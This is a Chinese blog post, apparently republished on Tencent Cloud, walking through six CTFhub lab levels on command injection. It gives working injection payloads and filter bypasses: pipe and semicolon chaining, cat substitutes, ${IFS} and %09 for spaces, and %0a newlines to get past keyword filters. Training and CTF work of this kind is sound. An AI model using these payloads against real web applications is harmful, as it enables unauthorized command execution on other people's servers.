前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTFhub——RCE命令注入

CTFhub——RCE命令注入

作者头像
字节脉搏实验室
发布2020-07-14 15:58:05
2.1K0
发布2020-07-14 15:58:05
举报

什么是命令行注入漏洞

命令行注入漏洞是指应用有时需要调用一些执行系统命令的函数, 如: system()、 exec()、 shell_ _exec()、eval()、passthru(), 代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。

以下我以CTFhub在线靶场向大家介绍一些命令注入的操作。

NO.1 无过滤注入

代码如上所示

可以看见这里没有任何限制条件,也就是说我们可以在这里模拟我们自己的Linux系统的命令行操作。

NO.2 过滤cat

代码如上所示

很明显,这里过滤掉了cat关键字。这时候有如下几总方式可以替换cat

cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的显示文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f

先ls查看目录

发现存在flag_313911065126325.php

获取flag即可

?ip=|tac flag_313911065126325.php

flag在网页源代码中

NO.3 过滤空格

代码如上所示

空格过滤掉,我们得想办法用其它符号代替空格即可

使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}来代替空格

?ip=|ls //查看当前目录

?ip=|cat${IFS}flag_7868204008268.php# //获取flag

NO.4 过滤目录分隔符

代码如上所示

这里过滤掉 "\" 和 “/”

首先还是查看目录

;ls

发现

flag_is_here

index.php

进入flag_is_here 再次查看目录

?ip=;cd flag_is_here;ls#

发现

flag_24072605330316.php

获取flag

?ip=;cd flag_is_here;cat flag_24072605330316.php#

NO.5 过滤运算符

代码如上所示

这里过滤掉了 | & 运算符 直接用 ; 代替即可

?ip=;cat flag_228482899822968.php# //获取flag

NO.6 综合过滤练习

这里过滤的东西很多:

|| & ; | cat flag ctfhub \ / 空格

这里我用换行符替换 运算符

换行符%0a

回车符%9d

‍NO.6参考

https://blog.csdn.net/bmth666/article/details/104836708

以下链接为其它大佬的思路,个人感觉更为简单。

https://blog.csdn.net/weixin_43326436/article/details/106719844

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档